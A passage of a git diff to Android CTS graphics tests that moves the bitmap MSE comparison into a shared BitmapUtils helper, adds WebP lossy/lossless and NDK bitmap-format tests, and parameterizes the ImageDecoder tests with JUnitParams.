-            assertFalse("MSE " + mse +  "smaller than the threshold: " + mseMargin,
-                    mse <= mseMargin);
-        }
-    }
-
-    private static int multiplyAlpha(int color, int alpha) {
-        return (color * alpha + 127) / 255;
-    }
-
-    // For the Bitmap with Alpha, multiply the Alpha values to get the effective
-    // RGB colors and then compute the color-distance.
-    private static double distance(int expect, int actual, boolean isPremultiplied) {
-        if (isPremultiplied) {
-            final int a1 = Color.alpha(actual);
-            final int a2 = Color.alpha(expect);
-            final int r = multiplyAlpha(Color.red(actual), a1) -
-                    multiplyAlpha(Color.red(expect), a2);
-            final int g = multiplyAlpha(Color.green(actual), a1) -
-                    multiplyAlpha(Color.green(expect), a2);
-            final int b = multiplyAlpha(Color.blue(actual), a1) -
-                    multiplyAlpha(Color.blue(expect), a2);
-            return r * r + g * g + b * b;
-        } else {
-            final int r = Color.red(actual) - Color.red(expect);
-            final int g = Color.green(actual) - Color.green(expect);
-            final int b = Color.blue(actual) - Color.blue(expect);
-            return r * r + g * g + b * b;
-        }
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index cb56256..371a637 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -17,7 +17,6 @@
 package android.graphics.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
@@ -31,7 +30,6 @@
 import android.graphics.BitmapFactory.Options;
 import android.graphics.BitmapRegionDecoder;
 import android.graphics.Canvas;
-import android.graphics.Color;
 import android.graphics.ColorSpace;
 import android.graphics.Rect;
 import android.os.ParcelFileDescriptor;
@@ -41,6 +39,8 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.BitmapUtils;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -125,9 +125,6 @@
     // MSE margin for WebP Region-Decoding for 'Config.RGB_565' is little bigger.
     private static final int MSE_MARGIN_WEB_P_CONFIG_RGB_565 = 8;
 
-    private final int[] mExpectedColors = new int [TILE_SIZE * TILE_SIZE];
-    private final int[] mActualColors = new int [TILE_SIZE * TILE_SIZE];
-
     private ArrayList<File> mFilesCreated = new ArrayList<>(NAMES_TEMP_FILES.length);
 
     private Resources mRes;
@@ -426,7 +423,8 @@
                             Rect crop = new Rect(0 ,0, cropWidth, cropHeight);
                             Bitmap reuseCropped = cropBitmap(reuseResult, crop);
                             Bitmap defaultCropped = cropBitmap(defaultResult, crop);
-                            compareBitmaps(reuseCropped, defaultCropped, 0, true);
+                            BitmapUtils.assertBitmapsMse(reuseCropped, defaultCropped, 0, true,
+                                    false);
                         }
                     }
                 }
@@ -684,7 +682,7 @@
                 Rect expectedRect = new Rect(left, top, left + actual.getWidth(),
                         top + actual.getHeight());
                 expected = cropBitmap(wholeImage, expectedRect);
-                compareBitmaps(expected, actual, mseMargin, true);
+                BitmapUtils.assertBitmapsMse(expected, actual, mseMargin, true, false);
                 actual.recycle();
                 expected.recycle();
             }
@@ -744,55 +742,4 @@
         File file = new File(path);
         return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
     }
-
-
-    // Compare expected to actual to see if their diff is less then mseMargin.
-    // lessThanMargin is to indicate whether we expect the diff to be
-    // "less than" or "no less than".
-    private void compareBitmaps(Bitmap expected, Bitmap actual,
-            int mseMargin, boolean lessThanMargin) {
-        assertEquals("mismatching widths", expected.getWidth(),
-                actual.getWidth());
-        assertEquals("mismatching heights", expected.getHeight(),
-                actual.getHeight());
-
-        double mse = 0;
-        int width = expected.getWidth();
-        int height = expected.getHeight();
-        int[] expectedColors;
-        int[] actualColors;
-        if (width == TILE_SIZE && height == TILE_SIZE) {
-            expectedColors = mExpectedColors;
-            actualColors = mActualColors;
-        } else {
-            expectedColors = new int [width * height];
-            actualColors = new int [width * height];
-        }
-
-        expected.getPixels(expectedColors, 0, width, 0, 0, width, height);
-        actual.getPixels(actualColors, 0, width, 0, 0, width, height);
-
-        for (int row = 0; row < height; ++row) {
-            for (int col = 0; col < width; ++col) {
-                int idx = row * width + col;
-                mse += distance(expectedColors[idx], actualColors[idx]);
-            }
-        }
-        mse /= width * height;
-
-        if (lessThanMargin) {
-            assertTrue("MSE too large for normal case: " + mse,
-                    mse <= mseMargin);
-        } else {
-            assertFalse("MSE too small for abnormal case: " + mse,
-                    mse <= mseMargin);
-        }
-    }
-
-    private static double distance(int exp, int actual) {
-        int r = Color.red(actual) - Color.red(exp);
-        int g = Color.green(actual) - Color.green(exp);
-        int b = Color.blue(actual) - Color.blue(exp);
-        return r * r + g * g + b * b;
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index a2025bd..9faad90 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -33,6 +33,7 @@
 import android.graphics.Color;
 import android.graphics.ColorSpace;
 import android.graphics.ColorSpace.Named;
+import android.graphics.ImageDecoder;
 import android.graphics.Matrix;
 import android.graphics.Paint;
 import android.graphics.Picture;
@@ -46,8 +47,8 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.LargeTest;
 import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.BitmapUtils;
 import com.android.compatibility.common.util.ColorUtils;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
@@ -57,17 +58,22 @@
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
+import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.nio.CharBuffer;
 import java.nio.IntBuffer;
 import java.nio.ShortBuffer;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
 @SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
 public class BitmapTest {
     // small alpha values cause color values to be pre-multiplied down, losing accuracy
     private static final int PREMUL_COLOR = Color.argb(2, 255, 254, 253);
@@ -129,9 +135,84 @@
         mBitmap.compress(CompressFormat.JPEG, 101, new ByteArrayOutputStream());
     }
 
+    private static Object[] compressFormats() {
+        return CompressFormat.values();
+    }
+
     @Test
-    public void testCompress() {
-        assertTrue(mBitmap.compress(CompressFormat.JPEG, 50, new ByteArrayOutputStream()));
+    @Parameters(method = "compressFormats")
+    public void testCompress(CompressFormat format) {
+        assertTrue(mBitmap.compress(format, 50, new ByteArrayOutputStream()));
+    }
+
+    private Bitmap decodeBytes(byte[] bytes) {
+        ByteBuffer buffer = ByteBuffer.wrap(bytes);
+        ImageDecoder.Source src = ImageDecoder.createSource(buffer);
+        try {
+            return ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+            });
+        } catch (IOException e) {
+            fail("Failed to decode with " + e);
+            return null;
+        }
+    }
+
+    // There are three color components and
+    // each should be within a square difference of 15 * 15.
+    private static final int MSE_MARGIN = 3 * (15 * 15);
+
+    @Test
+    public void testCompressWebpLossy() {
+        // For qualities < 100, WEBP performs a lossy decode.
+        byte[] last = null;
+        Bitmap lastBitmap = null;
+        for (int quality : new int[] { 25, 50, 80, 99 }) {
+            ByteArrayOutputStream webp = new ByteArrayOutputStream();
+            assertTrue(mBitmap.compress(CompressFormat.WEBP, quality, webp));
+            byte[] webpCompressed = webp.toByteArray();
+
+
+            ByteArrayOutputStream webpLossy = new ByteArrayOutputStream();
+            assertTrue(mBitmap.compress(CompressFormat.WEBP_LOSSY, quality, webpLossy));
+            byte[] webpLossyCompressed = webpLossy.toByteArray();
+
+            assertTrue("Compression did not match at quality " + quality,
+                    Arrays.equals(webpCompressed, webpLossyCompressed));
+
+            Bitmap result = decodeBytes(webpCompressed);
+            if (last != null) {
+                // Higher quality will generally result in a larger file.
+                assertTrue(webpCompressed.length > last.length);
+                if (!BitmapUtils.compareBitmapsMse(lastBitmap, result, MSE_MARGIN, true, false)) {
+                    fail("Bad comparison for quality " + quality);
+                }
+            }
+            last = webpCompressed;
+            lastBitmap = result;
+        }
+    }
+
+    @Test
+    @Parameters({ "0", "50", "80", "99", "100" })
+    public void testCompressWebpLossless(int quality) {
+        ByteArrayOutputStream webp = new ByteArrayOutputStream();
+        assertTrue(mBitmap.compress(CompressFormat.WEBP_LOSSLESS, quality, webp));
+        byte[] webpCompressed = webp.toByteArray();
+        Bitmap result = decodeBytes(webpCompressed);
+
+        assertTrue("WEBP_LOSSLESS did not losslessly compress at quality " + quality,
+                BitmapUtils.compareBitmaps(mBitmap, result));
+    }
+
+    @Test
+    public void testCompressWebp100MeansLossless() {
+        ByteArrayOutputStream webp = new ByteArrayOutputStream();
+        assertTrue(mBitmap.compress(CompressFormat.WEBP, 100, webp));
+        byte[] webpCompressed = webp.toByteArray();
+        Bitmap result = decodeBytes(webpCompressed);
+        assertTrue("WEBP_LOSSLESS did not losslessly compress at quality 100",
+                BitmapUtils.compareBitmaps(mBitmap, result));
     }
 
     @Test(expected=IllegalStateException.class)
@@ -1959,7 +2040,7 @@
         nValidateBitmapInfo(bitmap, 10, 20, true);
         bitmap.recycle();
         nValidateBitmapInfo(bitmap, 10, 20, true);
-        nValidateNdkAccessAfterRecycle(bitmap);
+        nValidateNdkAccessFails(bitmap);
     }
 
     @Test
@@ -2022,15 +2103,15 @@
         Debug.MemoryInfo meminfoStart = new Debug.MemoryInfo();
         Debug.MemoryInfo meminfoEnd = new Debug.MemoryInfo();
         int fdCount = -1;
+        // Do a warmup to reach steady-state memory usage
+        for (int i = 0; i < 50; i++) {
+            test.run();
+        }
+        runGcAndFinalizersSync();
+        Debug.getMemoryInfo(meminfoStart);
+        fdCount = getFdCount();
+        // Now run the test
         for (int i = 0; i < 2000; i++) {
-            if (i == 4) {
-                // Not really the "start" but by having done a couple
-                // we've fully initialized any state that may be required,
-                // so memory usage should be stable now
-                runGcAndFinalizersSync();
-                Debug.getMemoryInfo(meminfoStart);
-                fdCount = getFdCount();
-            }
             if (i % 100 == 5) {
                 assertNotLeaking(i, meminfoStart, meminfoEnd);
                 final int curFdCount = getFdCount();
@@ -2105,6 +2186,7 @@
             surface.unlockCanvasAndPost(canvas);
             bitmap.recycle();
         });
+        renderTarget.destroy();
     }
 
     @Test
@@ -2161,6 +2243,83 @@
         }
     }
 
+    @Test
+    public void testNdkFormats() {
+        for (ConfigToFormat pair : CONFIG_TO_FORMAT) {
+            Bitmap bm = Bitmap.createBitmap(10, 10, pair.config);
+            assertNotNull(bm);
+            int nativeFormat = nGetFormat(bm);
+            assertEquals("Config: " + pair.config, pair.format, nativeFormat);
+        }
+    }
+
+    @Test
+    public void testNdkFormatsHardware() {
+        for (ConfigToFormat pair : CONFIG_TO_FORMAT) {
+            Bitmap bm = Bitmap.createBitmap(10, 10, pair.config);
+            bm = bm.copy(Bitmap.Config.HARDWARE, false);
+
+            // ALPHA_8 is not supported in HARDWARE.
+            if (bm == null) {
+                assertEquals(Bitmap.Config.ALPHA_8, pair.config);
+                continue;
+            }
+            assertNotEquals(Bitmap.Config.ALPHA_8, pair.config);
+
+            int nativeFormat = nGetFormat(bm);
+            if (pair.config == Bitmap.Config.RGBA_F16) {
+                // It is possible the system does not support RGBA_F16 in HARDWARE.
+                // In that case, it will fall back to ARGB_8888.
+                assertTrue(nativeFormat == ANDROID_BITMAP_FORMAT_RGBA_8888
+                        || nativeFormat == ANDROID_BITMAP_FORMAT_RGBA_F16);
+            } else {
+                assertEquals("Config: " + pair.config, pair.format, nativeFormat);
+            }
+
+            nValidateNdkAccessFails(bm);
+        }
+    }
+
+    @Test
+    public void testNullBitmapNdk() {
+        nTestNullBitmap();
+    }
+
+    private Object[] parametersForTestNdkInfo() {
+        return new Object[] {
+            new Object[] { Config.ALPHA_8,   8 /* ANDROID_BITMAP_FORMAT_A_8 */ },
+            new Object[] { Config.ARGB_8888, 1 /* ANDROID_BITMAP_FORMAT_RGBA_8888 */ },
+            new Object[] { Config.RGB_565,   4 /* ANDROID_BITMAP_FORMAT_RGB_565 */ },
+            new Object[] { Config.RGBA_F16,  9 /* ANDROID_BITMAP_FORMAT_RGBA_F16*/ },
+        };
+    }
+
+    @Test
+    @Parameters(method = "parametersForTestNdkInfo")
+    public void testNdkInfo(Config config, int androidBitmapFormat) {
+        // Arbitrary width and height.
+        final int width = 13;
+        final int height = 7;
+        boolean[] trueFalse = new boolean[] { true, false };
+        for (boolean hasAlpha : trueFalse) {
+            for (boolean premultiplied : trueFalse) {
+                Bitmap bm = Bitmap.createBitmap(width, height, config, hasAlpha);
+                bm.setPremultiplied(premultiplied);
+                nTestInfo(bm, androidBitmapFormat, width, height, bm.hasAlpha(),
+                        bm.isPremultiplied());
+                bm = bm.copy(Bitmap.Config.HARDWARE, false);
+                if (config == Bitmap.Config.ALPHA_8) {
+                    // ALPHA_8 is not supported in HARDWARE. b/141480329
+                    assertNull(bm);
+                } else {
+                    assertNotNull(bm);
+                    nTestInfo(bm, androidBitmapFormat, width, height, bm.hasAlpha(),
+                            bm.isPremultiplied());
+                }
+            }
+        }
+    }
+
     private void strictModeTest(Runnable runnable) {
         StrictMode.ThreadPolicy originalPolicy = StrictMode.getThreadPolicy();
         StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
@@ -2177,13 +2336,39 @@
 
     private static native void nValidateBitmapInfo(Bitmap bitmap, int width, int height,
             boolean is565);
-    private static native void nValidateNdkAccessAfterRecycle(Bitmap bitmap);
+    private static native void nValidateNdkAccessFails(Bitmap bitmap);
 
     private static native void nFillRgbaHwBuffer(HardwareBuffer hwBuffer);
+    private static native void nTestNullBitmap();
 
-    private static final int ANDROID_BITMAP_FORMAT_RGBA_8888 = 1;
+    static final int ANDROID_BITMAP_FORMAT_RGBA_8888 = 1;
     private static final int ANDROID_BITMAP_FORMAT_RGB_565 = 4;
-    private static native int nGetFormat(Bitmap bitmap);
+    private static final int ANDROID_BITMAP_FORMAT_A_8 = 8;
+    private static final int ANDROID_BITMAP_FORMAT_RGBA_F16 = 9;
+
+    private static class ConfigToFormat {
+        public final Config config;
+        public final int format;
+
+        ConfigToFormat(Config c, int f) {
+            this.config = c;
+            this.format = f;
+        }
+    }
+
+    private static final ConfigToFormat[] CONFIG_TO_FORMAT = new ConfigToFormat[] {
+        new ConfigToFormat(Bitmap.Config.ARGB_8888, ANDROID_BITMAP_FORMAT_RGBA_8888),
+        // ARGB_4444 is deprecated, and createBitmap converts to 8888.
+        new ConfigToFormat(Bitmap.Config.ARGB_4444, ANDROID_BITMAP_FORMAT_RGBA_8888),
+        new ConfigToFormat(Bitmap.Config.RGB_565, ANDROID_BITMAP_FORMAT_RGB_565),
+        new ConfigToFormat(Bitmap.Config.ALPHA_8, ANDROID_BITMAP_FORMAT_A_8),
+        new ConfigToFormat(Bitmap.Config.RGBA_F16, ANDROID_BITMAP_FORMAT_RGBA_F16),
+    };
+
+    static native int nGetFormat(Bitmap bitmap);
+
+    private static native void nTestInfo(Bitmap bm, int androidBitmapFormat, int width, int height,
+            boolean hasAlpha, boolean premultiplied);
 
     private static HardwareBuffer createTestBuffer(int width, int height, boolean cpuAccess) {
         long usage = HardwareBuffer.USAGE_GPU_SAMPLED_IMAGE;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
index d42e9ca..b3e6be5 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
@@ -38,21 +38,24 @@
         assertEquals(CompressFormat.JPEG, CompressFormat.valueOf("JPEG"));
         assertEquals(CompressFormat.PNG, CompressFormat.valueOf("PNG"));
         assertEquals(CompressFormat.WEBP, CompressFormat.valueOf("WEBP"));
+        assertEquals(CompressFormat.WEBP_LOSSY, CompressFormat.valueOf("WEBP_LOSSY"));
+        assertEquals(CompressFormat.WEBP_LOSSLESS, CompressFormat.valueOf("WEBP_LOSSLESS"));
     }
 
     @Test
     public void testValues(){
         CompressFormat[] comFormat = CompressFormat.values();
 
-        assertEquals(3, comFormat.length);
+        assertEquals(5, comFormat.length);
         assertEquals(CompressFormat.JPEG, comFormat[0]);
         assertEquals(CompressFormat.PNG, comFormat[1]);
         assertEquals(CompressFormat.WEBP, comFormat[2]);
+        assertEquals(CompressFormat.WEBP_LOSSY, comFormat[3]);
+        assertEquals(CompressFormat.WEBP_LOSSLESS, comFormat[4]);
 
-        //CompressFormat is used as a argument here for all the methods that use it
         Bitmap b = Bitmap.createBitmap(10, 24, Config.ARGB_8888);
-        assertTrue(b.compress(CompressFormat.JPEG, 24, new ByteArrayOutputStream()));
-        assertTrue(b.compress(CompressFormat.PNG, 24, new ByteArrayOutputStream()));
-        assertTrue(b.compress(CompressFormat.WEBP, 24, new ByteArrayOutputStream()));
+        for (CompressFormat format : comFormat) {
+            assertTrue(b.compress(format, 24, new ByteArrayOutputStream()));
+        }
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
index ff8f77c..92f6322 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
@@ -91,8 +91,8 @@
         float[] f = new float[9];
         m2.getValues(f);
         assertArrayEquals(new float[] {
-                1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, -0.0017361111f, 1.0f
-        }, f, 0.0f);
+                1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f
+        }, f, 0.0017361111f);
     }
 
     @Test
@@ -107,8 +107,8 @@
         float[] f = new float[9];
         m2.getValues(f);
         assertArrayEquals(new float[] {
-                0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0017361111f, 0.0f, 1.0f
-        }, f, 0.0f);
+                0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f
+        }, f, 0.0017361111f);
     }
 
     @Test
@@ -124,7 +124,7 @@
         m2.getValues(f);
         assertArrayEquals(new float[] {
                 0.0f, 1.0f, 0.0f, -1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f
-        }, f, 0.0f);
+        }, f, 0.0017361111f);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/EmptyProvider.java b/tests/tests/graphics/src/android/graphics/cts/EmptyProvider.java
new file mode 100644
index 0000000..b8213b6
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/EmptyProvider.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.res.AssetFileDescriptor;
+import android.database.Cursor;
+import android.net.Uri;
+
+import java.io.FileNotFoundException;
+
+/**
+ * Dummy provider class for testing failure to open an asset.
+ */
+public final class EmptyProvider extends ContentProvider {
+    public EmptyProvider() {
+        super();
+    }
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public AssetFileDescriptor openAssetFile(Uri uri, String mode) throws FileNotFoundException {
+        return null;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 596e939..e1e868c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -51,16 +51,15 @@
 import androidx.core.content.FileProvider;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.LargeTest;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BitmapUtils;
 
-import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
+import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -71,11 +70,11 @@
 import java.util.function.Supplier;
 import java.util.function.ToIntFunction;
 
-@RunWith(AndroidJUnit4.class)
-public class ImageDecoderTest {
-    private Resources mRes;
-    private ContentResolver mContentResolver;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
 
+@RunWith(JUnitParamsRunner.class)
+public class ImageDecoderTest {
     private static final class Record {
         public final int resId;
         public final int width;
@@ -94,28 +93,30 @@
 
     private static final ColorSpace sSRGB = ColorSpace.get(ColorSpace.Named.SRGB);
 
-    private static final Record[] RECORDS = new Record[] {
-        new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg", sSRGB),
-        new Record(R.drawable.png_test, 640, 480, "image/png", sSRGB),
-        new Record(R.drawable.gif_test, 320, 240, "image/gif", sSRGB),
-        new Record(R.drawable.bmp_test, 320, 240, "image/bmp", sSRGB),
-        new Record(R.drawable.webp_test, 640, 480, "image/webp", sSRGB),
-        new Record(R.drawable.google_chrome, 256, 256, "image/x-ico", sSRGB),
-        new Record(R.drawable.color_wheel, 128, 128, "image/x-ico", sSRGB),
-        new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng", sSRGB),
-        new Record(R.raw.heifwriter_input, 1920, 1080, "image/heif", sSRGB),
-    };
+    private Object[] getRecords() {
+        return new Record[] {
+            new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg", sSRGB),
+            new Record(R.drawable.png_test, 640, 480, "image/png", sSRGB),
+            new Record(R.drawable.gif_test, 320, 240, "image/gif", sSRGB),
+            new Record(R.drawable.bmp_test, 320, 240, "image/bmp", sSRGB),
+            new Record(R.drawable.webp_test, 640, 480, "image/webp", sSRGB),
+            new Record(R.drawable.google_chrome, 256, 256, "image/x-ico", sSRGB),
+            new Record(R.drawable.color_wheel, 128, 128, "image/x-ico", sSRGB),
+            new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng", sSRGB),
+            new Record(R.raw.heifwriter_input, 1920, 1080, "image/heif", sSRGB),
+        };
+    }
 
     // offset is how many bytes to offset the beginning of the image.
     // extra is how many bytes to append at the end.
-    private byte[] getAsByteArray(int resId, int offset, int extra) {
+    private static byte[] getAsByteArray(int resId, int offset, int extra) {
         ByteArrayOutputStream output = new ByteArrayOutputStream();
         writeToStream(output, resId, offset, extra);
         return output.toByteArray();
     }
 
-    private void writeToStream(OutputStream output, int resId, int offset, int extra) {
-        InputStream input = mRes.openRawResource(resId);
+    private static void writeToStream(OutputStream output, int resId, int offset, int extra) {
+        InputStream input = getResources().openRawResource(resId);
         byte[] buffer = new byte[4096];
         int bytesRead;
         try {
@@ -137,7 +138,7 @@
         }
     }
 
-    private byte[] getAsByteArray(int resId) {
+    static byte[] getAsByteArray(int resId) {
         return getAsByteArray(resId, 0, 0);
     }
 
@@ -194,11 +195,12 @@
     }
 
     private Uri getAsResourceUri(int resId) {
+        Resources res = getResources();
         return new Uri.Builder()
                 .scheme(ContentResolver.SCHEME_ANDROID_RESOURCE)
-                .authority(mRes.getResourcePackageName(resId))
-                .appendPath(mRes.getResourceTypeName(resId))
-                .appendPath(mRes.getResourceEntryName(resId))
+                .authority(res.getResourcePackageName(resId))
+                .appendPath(res.getResourceTypeName(resId))
+                .appendPath(res.getResourceEntryName(resId))
                 .build();
     }
 
@@ -229,102 +231,105 @@
     };
 
     @Test
-    public void testUris() {
-        for (Record record : RECORDS) {
-            int resId = record.resId;
-            String name = mRes.getResourceEntryName(resId);
-            for (UriCreator f : mUriCreators) {
-                ImageDecoder.Source src = null;
-                Uri uri = f.apply(resId);
-                String fullName = name + ": " + uri.toString();
-                src = ImageDecoder.createSource(mContentResolver, uri);
+    @Parameters(method = "getRecords")
+    public void testUris(Record record) {
+        int resId = record.resId;
+        String name = getResources().getResourceEntryName(resId);
+        for (UriCreator f : mUriCreators) {
+            ImageDecoder.Source src = null;
+            Uri uri = f.apply(resId);
+            String fullName = name + ": " + uri.toString();
+            src = ImageDecoder.createSource(getContentResolver(), uri);
 
-                assertNotNull("failed to create Source for " + fullName, src);
-                try {
-                    Drawable d = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                        decoder.setOnPartialImageListener((e) -> {
-                            fail("error for image " + fullName + ":\n" + e);
-                            return false;
-                        });
+            assertNotNull("failed to create Source for " + fullName, src);
+            try {
+                Drawable d = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                    decoder.setOnPartialImageListener((e) -> {
+                        fail("error for image " + fullName + ":\n" + e);
+                        return false;
                     });
-                    assertNotNull("failed to create drawable for " + fullName, d);
-                } catch (IOException e) {
-                    fail("exception for image " + fullName + ":\n" + e);
-                }
+                });
+                assertNotNull("failed to create drawable for " + fullName, d);
+            } catch (IOException e) {
+                fail("exception for image " + fullName + ":\n" + e);
             }
         }
     }
 
-    @Before
-    public void setup() {
-        mRes = InstrumentationRegistry.getTargetContext().getResources();
-        mContentResolver = InstrumentationRegistry.getTargetContext().getContentResolver();
+    private static Resources getResources() {
+        return InstrumentationRegistry.getTargetContext().getResources();
+    }
+
+    private ContentResolver getContentResolver() {
+        return InstrumentationRegistry.getTargetContext().getContentResolver();
     }
 
     @Test
-    public void testInfo() {
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                ImageDecoder.Source src = f.apply(record.resId);
-                assertNotNull(src);
-                try {
-                    ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                        assertEquals(record.width,  info.getSize().getWidth());
-                        assertEquals(record.height, info.getSize().getHeight());
-                        assertEquals(record.mimeType, info.getMimeType());
-                        assertSame(record.colorSpace, info.getColorSpace());
-                    });
-                } catch (IOException e) {
-                    fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
-                }
+    @Parameters(method = "getRecords")
+    public void testInfo(Record record) {
+        for (SourceCreator f : mCreators) {
+            ImageDecoder.Source src = f.apply(record.resId);
+            assertNotNull(src);
+            try {
+                ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                    assertEquals(record.width,  info.getSize().getWidth());
+                    assertEquals(record.height, info.getSize().getHeight());
+                    assertEquals(record.mimeType, info.getMimeType());
+                    assertSame(record.colorSpace, info.getColorSpace());
+                });
+            } catch (IOException e) {
+                fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
             }
         }
     }
 
     @Test
-    public void testDecodeDrawable() {
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                ImageDecoder.Source src = f.apply(record.resId);
-                assertNotNull(src);
+    @Parameters(method = "getRecords")
+    public void testDecodeDrawable(Record record) {
+        for (SourceCreator f : mCreators) {
+            ImageDecoder.Source src = f.apply(record.resId);
+            assertNotNull(src);
 
-                try {
-                    Drawable drawable = ImageDecoder.decodeDrawable(src);
-                    assertNotNull(drawable);
-                    assertEquals(record.width,  drawable.getIntrinsicWidth());
-                    assertEquals(record.height, drawable.getIntrinsicHeight());
-                } catch (IOException e) {
-                    fail("Failed with exception " + e);
-                }
+            try {
+                Drawable drawable = ImageDecoder.decodeDrawable(src);
+                assertNotNull(drawable);
+                assertEquals(record.width,  drawable.getIntrinsicWidth());
+                assertEquals(record.height, drawable.getIntrinsicHeight());
+            } catch (IOException e) {
+                fail("Failed with exception " + e);
             }
         }
     }
 
     @Test
-    public void testDecodeBitmap() {
-        for (Record record : RECORDS) {
-            for (SourceCreator f : mCreators) {
-                ImageDecoder.Source src = f.apply(record.resId);
-                assertNotNull(src);
+    @Parameters(method = "getRecords")
+    public void testDecodeBitmap(Record record) {
+        for (SourceCreator f : mCreators) {
+            ImageDecoder.Source src = f.apply(record.resId);
+            assertNotNull(src);
 
-                try {
-                    Bitmap bm = ImageDecoder.decodeBitmap(src);
-                    assertNotNull(bm);
-                    assertEquals(record.width, bm.getWidth());
-                    assertEquals(record.height, bm.getHeight());
-                    assertFalse(bm.isMutable());
-                    // FIXME: This may change for small resources, etc.
-                    assertEquals(Bitmap.Config.HARDWARE, bm.getConfig());
-                } catch (IOException e) {
-                    fail("Failed with exception " + e);
-                }
+            try {
+                Bitmap bm = ImageDecoder.decodeBitmap(src);
+                assertNotNull(bm);
+                assertEquals(record.width, bm.getWidth());
+                assertEquals(record.height, bm.getHeight());
